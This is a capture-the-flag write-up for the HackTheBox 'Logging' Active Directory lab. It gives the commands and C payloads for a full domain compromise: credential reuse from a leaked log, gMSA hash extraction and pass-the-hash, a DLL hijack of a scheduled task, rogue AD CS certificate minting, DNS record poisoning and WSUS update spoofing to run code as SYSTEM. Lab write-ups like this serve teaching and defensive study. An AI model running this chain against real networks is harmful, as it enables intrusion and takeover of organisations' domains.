HTB: Logging
Platform: HackTheBox
Difficulty: Hard
OS: Windows (Active Directory)
Tags: Active Directory, Kerberos, gMSA, DLL Hijack, AD CS, WSUS Spoofing
TL;DR
Logging is a hard-rated Windows AD box that chains five distinct techniques into a full domain compromise. A world-readable SMB share leaks a plaintext credential with a predictable year-rotation pattern. That credential abuses a GenericWrite over a gMSA to extract its NT hash and land a WinRM session. A scheduled task DLL hijack pivots to a domain user, whose enrollment rights over a misconfigured AD CS template let us mint a rogue TLS certificate for the WSUS server. We poison DNS with a machine account we create ourselves, spin up a fake WSUS server, and force the DC to execute our payload as SYSTEM.
Setup
codeecho "10.129.6.141 DC01.logging.htb logging.htb wsus.logging.htb" | sudo tee -a /etc/hosts
Kerberos config needed because svc_recovery is in Protected Users, which kills NTLM entirely:
code# /etc/krb5.conf [libdefaults] default_realm = LOGGING.HTB dns_lookup_realm = false dns_lookup_kdc = false ticket_lifetime = 24h forwardable = yes noaddresses = true [realms] LOGGING.HTB = { kdc = 10.129.6.141 admin_server = 10.129.6.141 }
Clock skew: The DC is running ~7 hours ahead. Kerberos enforces a 5-minute tolerance — exceed it and you get
KRB_AP_ERR_SKEW. Wrap Impacket calls infaketime -f "+7h"or just sync your system clock to the DC's time.
Reconnaissance
codenmap -Pn -p- --min-rate 2000 -T4 10.129.6.141
Standard DC ports — 53, 88, 389, 445, 636 — plus 8530/8531. That's WSUS running directly on the DC. Filed away for later.
SMB Enumeration
codesmbclient //10.129.6.141/Logs -U 'logging.htb\wallace.everette%Welcome2026@' -c 'prompt OFF; mget *'
A world-readable Logs share. Pulled everything down for analysis.
Credential Discovery
Inside the downloaded logs, IdentitySync_Trace_20260219.log contains a verbose LDAP bind dump:
codeConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025" }
The log is dated 2026, the password has 2025 in it. Password rotation policy is predictable — updated the year:
Em3rg3ncyPa$$2026
Request a TGT:
codefaketime -f "+7h" impacket-getTGT 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.6.141 export KRB5CCNAME=svc_recovery.ccache
gMSA Abuse
BloodHound with our new ticket reveals: svc_recovery has GenericWrite over MSA_HEALTH$ (a Group Managed Service Account).
GenericWrite on a gMSA means we can overwrite msDS-GroupMSAMembership the attribute that controls who's allowed to read the gMSA's password blob. Add a user we control, and the DC will hand us the password.
1. Get the SID for wallace.everette:
codeS-1-5-21-4020823815-2796529489-1682170552-2111
2. Patch msDS-GroupMSAMembership via Kerberos SASL bind using a custom ldap3 script to push the updated Security Descriptor.
3. Dump the gMSA hash:
codepython3 /opt/gMSADumper/gMSADumper.py -u wallace.everette -p 'Welcome2026@' \ -d logging.htb -l 10.129.6.141
NT hash for msa_health$: 603fc24ee01a9409f83c9d1d701485c5
msa_health$ is in Remote Management Users pass the hash straight into WinRM:
codeevil-winrm -i 10.129.6.141 -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
DLL Hijack - User Flag
As msa_health$, a scheduled task named UpdateChecker Agent runs every 3 minutes as jaylee.clifton. The task:
- Looks for
C:\ProgramData\UpdateMonitor\Settings_Update.zip - Extracts it to
C:\Program Files\UpdateMonitor\bin\ - Loads
settings_update.dlland callsPreUpdateCheck()
We control the input directory. Classic DLL hijack.
Payload (user_flag.c):
code#include <windows.h> __declspec(dllexport) void PreUpdateCheck(void) { system("cmd /c type C:\\Users\\jaylee.clifton\\Desktop\\user.txt " "> C:\\ProgramData\\UpdateMonitor\\Logs\\user.txt 2>&1"); } BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) { if (r == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(h); return TRUE; }
Compile statically - without -static, Windows throws Error 126 (missing MinGW libs):
codei686-w64-mingw32-gcc -shared -o settings_update.dll user_flag.c -static -s zip -j Settings_Update.zip settings_update.dll
Upload via Evil-WinRM navigate to the target directory first, then upload (absolute path uploads are buggy):
codecd C:\ProgramData\UpdateMonitor\ upload /home/neo/Downloads/logging/Settings_Update.zip
Wait 3 minutes, check Logs\user.txt.
AD CS - Minting a Rogue WSUS Certificate
To pull off WSUS spoofing, clients need to trust our TLS cert. certipy-ad finds the UpdateSrv template - jaylee.clifton has enroll rights, and it has ENROLLEE_SUPPLIES_SUBJECT set. We can request a cert for any SAN we want.
1. Generate a CSR on Kali targeting wsus.logging.htb.
2. Upload req.csr to the UpdateMonitor directory.
3. Submit via DLL hijack (cert_submit.c):
code#include <windows.h> __declspec(dllexport) void PreUpdateCheck(void) { system("cmd /c certreq -f -submit " "-attrib \"CertificateTemplate:UpdateSrv\" " "-config \"DC01.logging.htb\\logging-DC01-CA\" " "C:\\ProgramData\\UpdateMonitor\\req.csr " "C:\\ProgramData\\UpdateMonitor\\cert.cer " "> C:\\ProgramData\\UpdateMonitor\\submit_log.txt 2>&1 < NUL"); }
-fand< NULare critical. Without them,certreqspawns an invisible GUI prompt. The service hangs indefinitely, the DLL stays locked on disk, session ruined.
Compile statically, zip, deploy the same way as before.
4. Fix the encoding before building the PFX — Windows saves .cer files as UTF-16LE, which breaks OpenSSL:
codeiconv -f UTF-16LE -t UTF-8 cert.cer -o wsus_cert.cer openssl pkcs12 -export -out wsus_srv.pfx -inkey wsus_key.pem -in wsus_cert.cer -passout pass:
We now have a CA-signed cert for wsus.logging.htb. The domain will trust it.
DNS Poisoning via Machine Account
No noisy ARP spoofing needed. msa_health$ has SeMachineAccountPrivilege — we can add a computer object to the domain. By default, machine accounts have dynamic DNS write rights in AD.
Add a rogue machine account (attacker01$) via Impacket, then use a quick LDAP script to add an A-record:
codewsus.logging.htb → 10.10.15.101
WSUS traffic will now route to us.
WSUS Spoofing - Root Flag
Spin up the rogue WSUS server with wsuks (handles product category filters better than pywsus). Configure it to serve PsExec64.exe as a critical update with the execution command:
codenet localgroup administrators msa_health$ /add
Start the listener:
codepython3 run_wsuks.py
Trigger the update scan from our WinRM session — don't try to run privileged commands manually, you'll hit System Error 5. Let SYSTEM do it:
codewuauclt /resetauthorization /detectnow usoclient StartScan
The DC reaches out to wsus.logging.htb, accepts our forged cert, downloads PsExec64.exe as a trusted Microsoft update, and executes it as NT AUTHORITY\SYSTEM. msa_health$ is now a local administrator.
Drop back into WinRM and grab the flag:
codetype C:\Users\toby.brynleigh\Desktop\root.txt
Attack Chain
code[Recon] Nmap → 8530/8531 WSUS on DC | SMB → world-readable Logs share │ ▼ [Creds] IdentitySync_Trace log → svc_recovery plaintext (year rotation) Em3rg3ncyPa$$2026 → TGT via faketime +7h │ ▼ [gMSA Abuse] svc_recovery GenericWrite → MSA_HEALTH$ Patch msDS-GroupMSAMembership → gMSADumper → NT hash PTH → Evil-WinRM as msa_health$ │ ▼ [DLL Hijack] UpdateChecker scheduled task (runs as jaylee.clifton) Malicious settings_update.dll → user.txt │ ▼ [AD CS] UpdateSrv template + ENROLLEE_SUPPLIES_SUBJECT Mint cert for wsus.logging.htb → rogue WSUS TLS trust │ ▼ [DNS Poison] SeMachineAccountPrivilege → attacker01$ machine account LDAP A-record → wsus.logging.htb = 10.10.15.101 │ ▼ [WSUS Spoof] wsuks → PsExec64.exe as fake update wuauclt /detectnow → DC pulls update → SYSTEM executes payload msa_health$ added to local admins → root.txt
Vulnerabilities
| # | Finding | Impact |
|---|---|---|
| 1 | Plaintext credential in log file (predictable rotation) | Initial foothold as svc_recovery |
| 2 | GenericWrite over gMSA (MSA_HEALTH$) | Hash extraction → WinRM shell |
| 3 | Scheduled task DLL hijack | Lateral movement to jaylee.clifton |
| 4 | AD CS misconfiguration (ENROLLEE_SUPPLIES_SUBJECT) | Rogue cert for arbitrary SAN |
| 5 | WSUS running on DC without integrity validation | Remote code execution as SYSTEM |
Writeup by Neo